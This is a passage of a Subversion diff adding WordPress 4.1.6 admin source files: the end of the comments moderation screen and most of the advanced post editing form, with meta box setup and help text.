+		'<p>' . __( 'In the <strong>In Response To</strong> column, there are three elements. The text is the name of the post that inspired the comment, and links to the post editor for that entry. The View Post link leads to that post on your live site. The small bubble with the number in it shows the number of approved comments that post has received. If the bubble is gray, you have moderated all comments for that post. If it is blue, there are pending comments. Clicking the bubble will filter the comments screen to show only comments on that post.' ) . '</p>' .
+		'<p>' . __( 'Many people take advantage of keyboard shortcuts to moderate their comments more quickly. Use the link to the side to learn more.' ) . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="http://codex.wordpress.org/Administration_Screens#Comments" target="_blank">Documentation on Comments</a>' ) . '</p>' .
+	'<p>' . __( '<a href="http://codex.wordpress.org/Comment_Spam" target="_blank">Documentation on Comment Spam</a>' ) . '</p>' .
+	'<p>' . __( '<a href="http://codex.wordpress.org/Keyboard_Shortcuts" target="_blank">Documentation on Keyboard Shortcuts</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h2><?php
+if ( $post_id )
+	echo sprintf( __( 'Comments on &#8220;%s&#8221;' ),
+		sprintf( '<a href="%s">%s</a>',
+			get_edit_post_link( $post_id ),
+			wp_html_excerpt( _draft_or_post_title( $post_id ), 50, '&hellip;' )
+		)
+	);
+else
+	echo __('Comments');
+
+if ( isset($_REQUEST['s']) && $_REQUEST['s'] )
+	echo '<span class="subtitle">' . sprintf( __( 'Search results for &#8220;%s&#8221;' ), wp_html_excerpt( esc_html( wp_unslash( $_REQUEST['s'] ) ), 50, '&hellip;' ) ) . '</span>'; ?>
+</h2>
+
+<?php
+if ( isset( $_REQUEST['error'] ) ) {
+	$error = (int) $_REQUEST['error'];
+	$error_msg = '';
+	switch ( $error ) {
+		case 1 :
+			$error_msg = __( 'Oops, no comment with this ID.' );
+			break;
+		case 2 :
+			$error_msg = __( 'You are not allowed to edit comments on this post.' );
+			break;
+	}
+	if ( $error_msg )
+		echo '<div id="moderated" class="error"><p>' . $error_msg . '</p></div>';
+}
+
+if ( isset($_REQUEST['approved']) || isset($_REQUEST['deleted']) || isset($_REQUEST['trashed']) || isset($_REQUEST['untrashed']) || isset($_REQUEST['spammed']) || isset($_REQUEST['unspammed']) || isset($_REQUEST['same']) ) {
+	$approved  = isset( $_REQUEST['approved']  ) ? (int) $_REQUEST['approved']  : 0;
+	$deleted   = isset( $_REQUEST['deleted']   ) ? (int) $_REQUEST['deleted']   : 0;
+	$trashed   = isset( $_REQUEST['trashed']   ) ? (int) $_REQUEST['trashed']   : 0;
+	$untrashed = isset( $_REQUEST['untrashed'] ) ? (int) $_REQUEST['untrashed'] : 0;
+	$spammed   = isset( $_REQUEST['spammed']   ) ? (int) $_REQUEST['spammed']   : 0;
+	$unspammed = isset( $_REQUEST['unspammed'] ) ? (int) $_REQUEST['unspammed'] : 0;
+	$same      = isset( $_REQUEST['same'] )      ? (int) $_REQUEST['same']      : 0;
+
+	if ( $approved > 0 || $deleted > 0 || $trashed > 0 || $untrashed > 0 || $spammed > 0 || $unspammed > 0 || $same > 0 ) {
+		if ( $approved > 0 )
+			$messages[] = sprintf( _n( '%s comment approved', '%s comments approved', $approved ), $approved );
+
+		if ( $spammed > 0 ) {
+			$ids = isset($_REQUEST['ids']) ? $_REQUEST['ids'] : 0;
+			$messages[] = sprintf( _n( '%s comment marked as spam.', '%s comments marked as spam.', $spammed ), $spammed ) . ' <a href="' . esc_url( wp_nonce_url( "edit-comments.php?doaction=undo&action=unspam&ids=$ids", "bulk-comments" ) ) . '">' . __('Undo') . '</a><br />';
+		}
+
+		if ( $unspammed > 0 )
+			$messages[] = sprintf( _n( '%s comment restored from the spam', '%s comments restored from the spam', $unspammed ), $unspammed );
+
+		if ( $trashed > 0 ) {
+			$ids = isset($_REQUEST['ids']) ? $_REQUEST['ids'] : 0;
+			$messages[] = sprintf( _n( '%s comment moved to the Trash.', '%s comments moved to the Trash.', $trashed ), $trashed ) . ' <a href="' . esc_url( wp_nonce_url( "edit-comments.php?doaction=undo&action=untrash&ids=$ids", "bulk-comments" ) ) . '">' . __('Undo') . '</a><br />';
+		}
+
+		if ( $untrashed > 0 )
+			$messages[] = sprintf( _n( '%s comment restored from the Trash', '%s comments restored from the Trash', $untrashed ), $untrashed );
+
+		if ( $deleted > 0 )
+			$messages[] = sprintf( _n( '%s comment permanently deleted', '%s comments permanently deleted', $deleted ), $deleted );
+
+		if ( $same > 0 && $comment = get_comment( $same ) ) {
+			switch ( $comment->comment_approved ) {
+				case '1' :
+					$messages[] = __('This comment is already approved.') . ' <a href="' . esc_url( admin_url( "comment.php?action=editcomment&c=$same" ) ) . '">' . __( 'Edit comment' ) . '</a>';
+					break;
+				case 'trash' :
+					$messages[] = __( 'This comment is already in the Trash.' ) . ' <a href="' . esc_url( admin_url( 'edit-comments.php?comment_status=trash' ) ) . '"> ' . __( 'View Trash' ) . '</a>';
+					break;
+				case 'spam' :
+					$messages[] = __( 'This comment is already marked as spam.' ) . ' <a href="' . esc_url( admin_url( "comment.php?action=editcomment&c=$same" ) ) . '">' . __( 'Edit comment' ) . '</a>';
+					break;
+			}
+		}
+
+		echo '<div id="moderated" class="updated"><p>' . implode( "<br/>\n", $messages ) . '</p></div>';
+	}
+}
+?>
+
+<?php $wp_list_table->views(); ?>
+
+<form id="comments-form" action="" method="get">
+
+<?php $wp_list_table->search_box( __( 'Search Comments' ), 'comment' ); ?>
+
+<?php if ( $post_id ) : ?>
+<input type="hidden" name="p" value="<?php echo esc_attr( intval( $post_id ) ); ?>" />
+<?php endif; ?>
+<input type="hidden" name="comment_status" value="<?php echo esc_attr($comment_status); ?>" />
+<input type="hidden" name="pagegen_timestamp" value="<?php echo esc_attr(current_time('mysql', 1)); ?>" />
+
+<input type="hidden" name="_total" value="<?php echo esc_attr( $wp_list_table->get_pagination_arg('total_items') ); ?>" />
+<input type="hidden" name="_per_page" value="<?php echo esc_attr( $wp_list_table->get_pagination_arg('per_page') ); ?>" />
+<input type="hidden" name="_page" value="<?php echo esc_attr( $wp_list_table->get_pagination_arg('page') ); ?>" />
+
+<?php if ( isset($_REQUEST['paged']) ) { ?>
+	<input type="hidden" name="paged" value="<?php echo esc_attr( absint( $_REQUEST['paged'] ) ); ?>" />
+<?php } ?>
+
+<?php $wp_list_table->display(); ?>
+</form>
+</div>
+
+<div id="ajax-response"></div>
+
+<?php
+wp_comment_reply('-1', true, 'detail');
+wp_comment_trashnotice();
+include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/edit-form-advanced.php
===================================================================
--- /tags/4.1.6/src/wp-admin/edit-form-advanced.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/edit-form-advanced.php	(revision 33402)
@@ -0,0 +1,654 @@
+<?php
+/**
+ * Post advanced form for inclusion in the administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// don't load directly
+if ( !defined('ABSPATH') )
+	die('-1');
+
+wp_enqueue_script('post');
+$_wp_editor_expand = $_content_editor_dfw = false;
+
+/**
+ * Filter whether to enable the 'expand' functionality in the post editor.
+ *
+ * @since 4.0.0
+ * @since 4.1.0 Added the `$post_type` parameter.
+ *
+ * @param bool   $expand    Whether to enable the 'expand' functionality. Default true.
+ * @param string $post_type Post type.
+ */
+if ( post_type_supports( $post_type, 'editor' ) && ! wp_is_mobile() &&
+	 ! ( $is_IE && preg_match( '/MSIE [5678]/', $_SERVER['HTTP_USER_AGENT'] ) ) &&
+	 apply_filters( 'wp_editor_expand', true, $post_type ) ) {
+
+	wp_enqueue_script('editor-expand');
+	$_content_editor_dfw = true;
+	$_wp_editor_expand = ( get_user_setting( 'editor_expand', 'on' ) === 'on' );
+}
+
+if ( wp_is_mobile() )
+	wp_enqueue_script( 'jquery-touch-punch' );
+
+/**
+ * Post ID global
+ * @name $post_ID
+ * @var int
+ */
+$post_ID = isset($post_ID) ? (int) $post_ID : 0;
+$user_ID = isset($user_ID) ? (int) $user_ID : 0;
+$action = isset($action) ? $action : '';
+
+$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );
+if ( ! $thumbnail_support && 'attachment' === $post_type && $post->post_mime_type ) {
+	if ( 0 === strpos( $post->post_mime_type, 'audio/' ) ) {
+		$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
+	} elseif ( 0 === strpos( $post->post_mime_type, 'video/' ) ) {
+		$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
+	}
+}
+
+if ( $thumbnail_support ) {
+	add_thickbox();
+	wp_enqueue_media( array( 'post' => $post_ID ) );
+}
+
+// Add the local autosave notice HTML
+add_action( 'admin_footer', '_local_storage_notice' );
+
+/*
+ * @todo Document the $messages array(s).
+ */
+$messages = array();
+$messages['post'] = array(
+	 0 => '', // Unused. Messages start at index 1.
+	 1 => sprintf( __('Post updated. <a href="%s">View post</a>'), esc_url( get_permalink($post_ID) ) ),
+	 2 => __('Custom field updated.'),
+	 3 => __('Custom field deleted.'),
+	 4 => __('Post updated.'),
+	/* translators: %s: date and time of the revision */
+	 5 => isset($_GET['revision']) ? sprintf( __('Post restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,
+	 6 => sprintf( __('Post published. <a href="%s">View post</a>'), esc_url( get_permalink($post_ID) ) ),
+	 7 => __('Post saved.'),
+	 8 => sprintf( __('Post submitted. <a target="_blank" href="%s">Preview post</a>'), esc_url( add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ) ),
+	 9 => sprintf( __('Post scheduled for: <strong>%1$s</strong>. <a target="_blank" href="%2$s">Preview post</a>'),
+		/* translators: Publish box date format, see http://php.net/date */
+		date_i18n( __( 'M j, Y @ G:i' ), strtotime( $post->post_date ) ), esc_url( get_permalink($post_ID) ) ),
+	10 => sprintf( __('Post draft updated. <a target="_blank" href="%s">Preview post</a>'), esc_url( add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ) ),
+);
+$messages['page'] = array(
+	 0 => '', // Unused. Messages start at index 1.
+	 1 => sprintf( __('Page updated. <a href="%s">View page</a>'), esc_url( get_permalink($post_ID) ) ),
+	 2 => __('Custom field updated.'),
+	 3 => __('Custom field deleted.'),
+	 4 => __('Page updated.'),
+	 5 => isset($_GET['revision']) ? sprintf( __('Page restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,
+	 6 => sprintf( __('Page published. <a href="%s">View page</a>'), esc_url( get_permalink($post_ID) ) ),
+	 7 => __('Page saved.'),
+	 8 => sprintf( __('Page submitted. <a target="_blank" href="%s">Preview page</a>'), esc_url( add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ) ),
+	 9 => sprintf( __('Page scheduled for: <strong>%1$s</strong>. <a target="_blank" href="%2$s">Preview page</a>'), date_i18n( __( 'M j, Y @ G:i' ), strtotime( $post->post_date ) ), esc_url( get_permalink($post_ID) ) ),
+	10 => sprintf( __('Page draft updated. <a target="_blank" href="%s">Preview page</a>'), esc_url( add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ) ),
+);
+$messages['attachment'] = array_fill( 1, 10, __( 'Media attachment updated.' ) ); // Hack, for now.
+
+/**
+ * Filter the post updated messages.
+ *
+ * @since 3.0.0
+ *
+ * @param array $messages Post updated messages. For defaults @see $messages declarations above.
+ */
+$messages = apply_filters( 'post_updated_messages', $messages );
+
+$message = false;
+if ( isset($_GET['message']) ) {
+	$_GET['message'] = absint( $_GET['message'] );
+	if ( isset($messages[$post_type][$_GET['message']]) )
+		$message = $messages[$post_type][$_GET['message']];
+	elseif ( !isset($messages[$post_type]) && isset($messages['post'][$_GET['message']]) )
+		$message = $messages['post'][$_GET['message']];
+}
+
+$notice = false;
+$form_extra = '';
+if ( 'auto-draft' == $post->post_status ) {
+	if ( 'edit' == $action )
+		$post->post_title = '';
+	$autosave = false;
+	$form_extra .= "<input type='hidden' id='auto_draft' name='auto_draft' value='1' />";
+} else {
+	$autosave = wp_get_post_autosave( $post_ID );
+}
+
+$form_action = 'editpost';
+$nonce_action = 'update-post_' . $post_ID;
+$form_extra .= "<input type='hidden' id='post_ID' name='post_ID' value='" . esc_attr($post_ID) . "' />";
+
+// Detect if there exists an autosave newer than the post and if that autosave is different than the post
+if ( $autosave && mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) {
+	foreach ( _wp_post_revision_fields() as $autosave_field => $_autosave_field ) {
+		if ( normalize_whitespace( $autosave->$autosave_field ) != normalize_whitespace( $post->$autosave_field ) ) {
+			$notice = sprintf( __( 'There is an autosave of this post that is more recent than the version below. <a href="%s">View the autosave</a>' ), get_edit_post_link( $autosave->ID ) );
+			break;
+		}
+	}
+	// If this autosave isn't different from the current post, begone.
+	if ( ! $notice )
+		wp_delete_post_revision( $autosave->ID );
+	unset($autosave_field, $_autosave_field);
+}
+
+$post_type_object = get_post_type_object($post_type);
+
+// All meta boxes should be defined and added before the first do_meta_boxes() call (or potentially during the do_meta_boxes action).
+require_once( ABSPATH . 'wp-admin/includes/meta-boxes.php' );
+
+
+$publish_callback_args = null;
+if ( post_type_supports($post_type, 'revisions') && 'auto-draft' != $post->post_status ) {
+	$revisions = wp_get_post_revisions( $post_ID );
+
+	// We should aim to show the revisions metabox only when there are revisions.
+	if ( count( $revisions ) > 1 ) {
+		reset( $revisions ); // Reset pointer for key()
+		$publish_callback_args = array( 'revisions_count' => count( $revisions ), 'revision_id' => key( $revisions ) );
+		add_meta_box('revisionsdiv', __('Revisions'), 'post_revisions_meta_box', null, 'normal', 'core');
+	}
+}
+
+if ( 'attachment' == $post_type ) {
+	wp_enqueue_script( 'image-edit' );
+	wp_enqueue_style( 'imgareaselect' );
+	add_meta_box( 'submitdiv', __('Save'), 'attachment_submit_meta_box', null, 'side', 'core' );
+	add_action( 'edit_form_after_title', 'edit_form_image_editor' );
+
+	if ( 0 === strpos( $post->post_mime_type, 'audio/' ) ) {
+		add_meta_box( 'attachment-id3', __( 'Metadata' ), 'attachment_id3_data_meta_box', null, 'normal', 'core' );
+	}
+} else {
+	add_meta_box( 'submitdiv', __( 'Publish' ), 'post_submit_meta_box', null, 'side', 'core', $publish_callback_args );
+}
+
+if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post_type, 'post-formats' ) )
+	add_meta_box( 'formatdiv', _x( 'Format', 'post format' ), 'post_format_meta_box', null, 'side', 'core' );
+
+// all taxonomies
+foreach ( get_object_taxonomies( $post ) as $tax_name ) {
+	$taxonomy = get_taxonomy( $tax_name );
+	if ( ! $taxonomy->show_ui || false === $taxonomy->meta_box_cb )
+		continue;
+
+	$label = $taxonomy->labels->name;
+
+	if ( ! is_taxonomy_hierarchical( $tax_name ) )
+		$tax_meta_box_id = 'tagsdiv-' . $tax_name;
+	else
+		$tax_meta_box_id = $tax_name . 'div';
+
+	add_meta_box( $tax_meta_box_id, $label, $taxonomy->meta_box_cb, null, 'side', 'core', array( 'taxonomy' => $tax_name ) );
+}
+
+if ( post_type_supports($post_type, 'page-attributes') )
+	add_meta_box('pageparentdiv', 'page' == $post_type ? __('Page Attributes') : __('Attributes'), 'page_attributes_meta_box', null, 'side', 'core');
+
+if ( $thumbnail_support && current_user_can( 'upload_files' ) )
+	add_meta_box('postimagediv', __('Featured Image'), 'post_thumbnail_meta_box', null, 'side', 'low');
+
+if ( post_type_supports($post_type, 'excerpt') )
+	add_meta_box('postexcerpt', __('Excerpt'), 'post_excerpt_meta_box', null, 'normal', 'core');
+
+if ( post_type_supports($post_type, 'trackbacks') )
+	add_meta_box('trackbacksdiv', __('Send Trackbacks'), 'post_trackback_meta_box', null, 'normal', 'core');
+
+if ( post_type_supports($post_type, 'custom-fields') )
+	add_meta_box('postcustom', __('Custom Fields'), 'post_custom_meta_box', null, 'normal', 'core');
+
+/**
+ * Fires in the middle of built-in meta box registration.
+ *
+ * @since 2.1.0
+ * @deprecated 3.7.0 Use 'add_meta_boxes' instead.
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'dbx_post_advanced', $post );
+
+if ( post_type_supports($post_type, 'comments') )
+	add_meta_box('commentstatusdiv', __('Discussion'), 'post_comment_status_meta_box', null, 'normal', 'core');
+
+if ( ( 'publish' == get_post_status( $post ) || 'private' == get_post_status( $post ) ) && post_type_supports($post_type, 'comments') )
+	add_meta_box('commentsdiv', __('Comments'), 'post_comment_meta_box', null, 'normal', 'core');
+
+if ( ! ( 'pending' == get_post_status( $post ) && ! current_user_can( $post_type_object->cap->publish_posts ) ) )
+	add_meta_box('slugdiv', __('Slug'), 'post_slug_meta_box', null, 'normal', 'core');
+
+if ( post_type_supports($post_type, 'author') ) {
+	if ( is_super_admin() || current_user_can( $post_type_object->cap->edit_others_posts ) )
+		add_meta_box('authordiv', __('Author'), 'post_author_meta_box', null, 'normal', 'core');
+}
+
+/**
+ * Fires after all built-in meta boxes have been added.
+ *
+ * @since 3.0.0
+ *
+ * @param string  $post_type Post type.
+ * @param WP_Post $post      Post object.
+ */
+do_action( 'add_meta_boxes', $post_type, $post );
+
+/**
+ * Fires after all built-in meta boxes have been added, contextually for the given post type.
+ *
+ * The dynamic portion of the hook, `$post_type`, refers to the post type of the post.
+ *
+ * @since 3.0.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'add_meta_boxes_' . $post_type, $post );
+
+/**
+ * Fires after meta boxes have been added.
+ *
+ * Fires once for each of the default meta box contexts: normal, advanced, and side.
+ *
+ * @since 3.0.0
+ *
+ * @param string  $post_type Post type of the post.
+ * @param string  $context   string  Meta box context.
+ * @param WP_Post $post      Post object.
+ */
+do_action( 'do_meta_boxes', $post_type, 'normal', $post );
+/** This action is documented in wp-admin/edit-form-advanced.php */
+do_action( 'do_meta_boxes', $post_type, 'advanced', $post );
+/** This action is documented in wp-admin/edit-form-advanced.php */
+do_action( 'do_meta_boxes', $post_type, 'side', $post );
+
+add_screen_option('layout_columns', array('max' => 2, 'default' => 2) );
+
+if ( 'post' == $post_type ) {
+	$customize_display = '<p>' . __('The title field and the big Post Editing Area are fixed in place, but you can reposition all the other boxes using drag and drop. You can also minimize or expand them by clicking the title bar of each box. Use the Screen Options tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, Discussion, Slug, Author) or to choose a 1- or 2-column layout for this screen.') . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'customize-display',
+		'title'   => __('Customizing This Display'),
+		'content' => $customize_display,
+	) );
+
+	$title_and_editor  = '<p>' . __('<strong>Title</strong> - Enter a title for your post. After you enter a title, you&#8217;ll see the permalink below, which you can edit.') . '</p>';
+	$title_and_editor .= '<p>' . __( '<strong>Post editor</strong> - Enter the text for your post. There are two modes of editing: Visual and Text. Choose the mode by clicking on the appropriate tab.' ) . '</p>';
+	$title_and_editor .= '<p>' . __( 'Visual mode gives you a WYSIWYG editor. Click the last icon in the row to get a second row of controls. ') . '</p>';
+	$title_and_editor .= '<p>' . __( 'The Text mode allows you to enter HTML along with your post text. Line breaks will be converted to paragraphs automatically.' ) . '</p>';
+	$title_and_editor .= '<p>' . __( 'You can insert media files by clicking the icons above the post editor and following the directions. You can align or edit images using the inline formatting toolbar available in Visual mode.' ) . '</p>';
+	$title_and_editor .= '<p>' . __( 'You can enable distraction-free writing mode using the icon to the right. This feature is not available for old browsers or devices with small screens, and requires that the full-height editor be enabled in Screen Options.' ) . '</p>';
+	$title_and_editor .= '<p>' . __( 'Keyboard users: When you&#8217;re working in the visual editor, you can use <kbd>Alt + F10</kbd> to access the toolbar.' ) . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'title-post-editor',
+		'title'   => __('Title and Post Editor'),
+		'content' => $title_and_editor,
+	) );
+
+	get_current_screen()->set_help_sidebar(
+			'<p>' . sprintf(__('You can also create posts with the <a href="%s">Press This bookmarklet</a>.'), 'options-writing.php') . '</p>' .
+			'<p><strong>' . __('For more information:') . '</strong></p>' .
+			'<p>' . __('<a href="http://codex.wordpress.org/Posts_Add_New_Screen" target="_blank">Documentation on Writing and Editing Posts</a>') . '</p>' .
+			'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+	);
+} elseif ( 'page' == $post_type ) {
+	$about_pages = '<p>' . __('Pages are similar to Posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest Pages under other Pages by making one the &#8220;Parent&#8221; of the other, creating a group of Pages.') . '</p>' .
+		'<p>' . __('Creating a Page is very similar to creating a Post, and the screens can be customized in the same way using drag and drop, the Screen Options tab, and expanding/collapsing boxes as you choose. This screen also has the distraction-free writing space, available in both the Visual and Text modes via the Fullscreen buttons. The Page editor mostly works the same as the Post editor, but there are some Page-specific features in the Page Attributes box:') . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'about-pages',
+		'title'   => __('About Pages'),
+		'content' => $about_pages,
+	) );
+
+	get_current_screen()->set_help_sidebar(
+			'<p><strong>' . __('For more information:') . '</strong></p>' .
+			'<p>' . __('<a href="http://codex.wordpress.org/Pages_Add_New_Screen" target="_blank">Documentation on Adding New Pages</a>') . '</p>' .
+			'<p>' . __('<a href="http://codex.wordpress.org/Pages_Screen#Editing_Individual_Pages" target="_blank">Documentation on Editing Pages</a>') . '</p>' .
+			'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+	);
+} elseif ( 'attachment' == $post_type ) {
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' =>
+			'<p>' . __('This screen allows you to edit four fields for metadata in a file within the media library.') . '</p>' .
+			'<p>' . __('For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information.') . '</p>' .
+			'<p>' . __('Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping.') . '</p>' .
+			'<p>' . __('Remember to click Update Media to save metadata entered or changed.') . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Media_Add_New_Screen#Edit_Media" target="_blank">Documentation on Edit Media</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+	);
+}
+
+if ( 'post' == $post_type || 'page' == $post_type ) {
+	$inserting_media = '<p>' . __( 'You can upload and insert media (images, audio, documents, etc.) by clicking the Add Media button. You can select from the images and files already uploaded to the Media Library, or upload new media to add to your page or post. To create an image gallery, select the images to add and click the &#8220;Create a new gallery&#8221; button.' ) . '</p>';
+	$inserting_media .= '<p>' . __( 'You can also embed media from many popular websites including Twitter, YouTube, Flickr and others by pasting the media URL on its own line into the content of your post/page. Please refer to the Codex to <a href="http://codex.wordpress.org/Embeds">learn more about embeds</a>.' ) . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'		=> 'inserting-media',
+		'title'		=> __( 'Inserting Media' ),
+		'content' 	=> $inserting_media,
+	) );
+}
+
+if ( 'post' == $post_type ) {
+	$publish_box = '<p>' . __('Several boxes on this screen contain settings for how your content will be published, including:') . '</p>';
+	$publish_box .= '<ul><li>' . __('<strong>Publish</strong> - You can set the terms of publishing your post in the Publish box. For Status, Visibility, and Publish (immediately), click on the Edit link to reveal more options. Visibility includes options for password-protecting a post or making it stay at the top of your blog indefinitely (sticky). Publish (immediately) allows you to set a future or past date and time, so you can schedule a post to be published in the future or backdate a post.') . '</li>';
+
+	if ( current_theme_supports( 'post-formats' ) && post_type_supports( 'post', 'post-formats' ) ) {
+		$publish_box .= '<li>' . __( '<strong>Format</strong> - Post Formats designate how your theme will display a specific post. For example, you could have a <em>standard</em> blog post with a title and paragraphs, or a short <em>aside</em> that omits the title and contains a short text blurb. Please refer to the Codex for <a href="http://codex.wordpress.org/Post_Formats#Supported_Formats">descriptions of each post format</a>. Your theme could enable all or some of 10 possible formats.' ) . '</li>';
+	}
+
+	if ( current_theme_supports( 'post-thumbnails' ) && post_type_supports( 'post', 'thumbnail' ) ) {
+		$publish_box .= '<li>' . __('<strong>Featured Image</strong> - This allows you to associate an image with your post without inserting it. This is usually useful only if your theme makes use of the featured image as a post thumbnail on the home page, a custom header, etc.') . '</li>';
+	}
+
+	$publish_box .= '</ul>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'publish-box',
+		'title'   => __('Publish Settings'),
+		'content' => $publish_box,
+	) );
+
+	$discussion_settings  = '<p>' . __('<strong>Send Trackbacks</strong> - Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. Enter the URL(s) you want to send trackbacks. If you link to other WordPress sites they&#8217;ll be notified automatically using pingbacks, and this field is unnecessary.') . '</p>';
+	$discussion_settings .= '<p>' . __('<strong>Discussion</strong> - You can turn comments and pings on or off, and if there are comments on the post, you can see them here and moderate them.') . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'discussion-settings',
+		'title'   => __('Discussion Settings'),
+		'content' => $discussion_settings,
+	) );
+} elseif ( 'page' == $post_type ) {
+	$page_attributes = '<p>' . __('<strong>Parent</strong> - You can arrange your pages in hierarchies. For example, you could have an &#8220;About&#8221; page that has &#8220;Life Story&#8221; and &#8220;My Dog&#8221; pages under it. There are no limits to how many levels you can nest pages.') . '</p>' .
+		'<p>' . __('<strong>Template</strong> - Some themes have custom templates you can use for certain pages that might have additional features or custom layouts. If so, you&#8217;ll see them in this dropdown menu.') . '</p>' .
+		'<p>' . __('<strong>Order</strong> - Pages are usually ordered alphabetically, but you can choose your own order by entering a number (1 for first, etc.) in this field.') . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id' => 'page-attributes',
+		'title' => __('Page Attributes'),
+		'content' => $page_attributes,
+	) );
+}
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h2><?php
+echo esc_html( $title );
+if ( isset( $post_new_file ) && current_user_can( $post_type_object->cap->create_posts ) )
+	echo ' <a href="' . esc_url( admin_url( $post_new_file ) ) . '" class="add-new-h2">' . esc_html( $post_type_object->labels->add_new ) . '</a>';
+?></h2>
+<?php if ( $notice ) : ?>
+<div id="notice" class="notice notice-warning"><p id="has-newer-autosave"><?php echo $notice ?></p></div>
+<?php endif; ?>
+<?php if ( $message ) : ?>
+<div id="message" class="updated"><p><?php echo $message; ?></p></div>
+<?php endif; ?>
+<div id="lost-connection-notice" class="error hidden">
+	<p><span class="spinner"></span> <?php _e( '<strong>Connection lost.</strong> Saving has been disabled until you&#8217;re reconnected.' ); ?>
+	<span class="hide-if-no-sessionstorage"><?php _e( 'We&#8217;re backing up this post in your browser, just in case.' ); ?></span>
+	</p>
+</div>
+<form name="post" action="post.php" method="post" id="post"<?php
+/**
+ * Fires inside the post editor form tag.
+ *
+ * @since 3.0.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'post_edit_form_tag', $post );
+?>>
+<?php wp_nonce_field($nonce_action); ?>
+<input type="hidden" id="user-id" name="user_ID" value="<?php echo (int) $user_ID ?>" />
+<input type="hidden" id="hiddenaction" name="action" value="<?php echo esc_attr( $form_action ) ?>" />
+<input type="hidden" id="originalaction" name="originalaction" value="<?php echo esc_attr( $form_action ) ?>" />
+<input type="hidden" id="post_author" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
+<input type="hidden" id="post_type" name="post_type" value="<?php echo esc_attr( $post_type ) ?>" />
+<input type="hidden" id="original_post_status" name="original_post_status" value="<?php echo esc_attr( $post->post_status) ?>" />
+<input type="hidden" id="referredby" name="referredby" value="<?php echo esc_url(wp_get_referer()); ?>" />
+<?php if ( ! empty( $active_post_lock ) ) { ?>
+<input type="hidden" id="active_post_lock" value="<?php echo esc_attr( implode( ':', $active_post_lock ) ); ?>" />
+<?php
+}
+if ( 'draft' != get_post_status( $post ) )
+	wp_original_referer_field(true, 'previous');
+
+echo $form_extra;
+
+wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
+wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+?>
+
+<?php
+/**
+ * Fires at the beginning of the edit form.
+ *
+ * At this point, the required hidden fields and nonces have already been output.
+ *
+ * @since 3.7.0
+ *
+ * @param WP_Post $post Post object.
+ */
+do_action( 'edit_form_top', $post ); ?>
+
+<div id="poststuff">
+<div id="post-body" class="metabox-holder columns-<?php echo 1 == get_current_screen()->get_columns() ? '1' : '2'; ?>">
+<div id="post-body-content">
+
+<?php if ( post_type_supports($post_type, 'title') ) { ?>
+<div id="titlediv">
+<div id="titlewrap">
+	<?php
+	/**
+	 * Filter the title field placeholder text.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string  $text Placeholder text. Default 'Enter title here'.
+	 * @param WP_Post $post Post object.
+	 */
+	$title_placeholder = apply_filters( 'enter_title_here', __( 'Enter title here' ), $post );
+	?>
+	<label class="screen-reader-text" id="title-prompt-text" for="title"><?php echo $title_placeholder; ?></label>
+	<input type="text" name="post_title" size="30" value="<?php echo esc_attr( htmlspecialchars( $post->post_title ) ); ?>" id="title" spellcheck="true" autocomplete="off" />
+</div>
+<?php
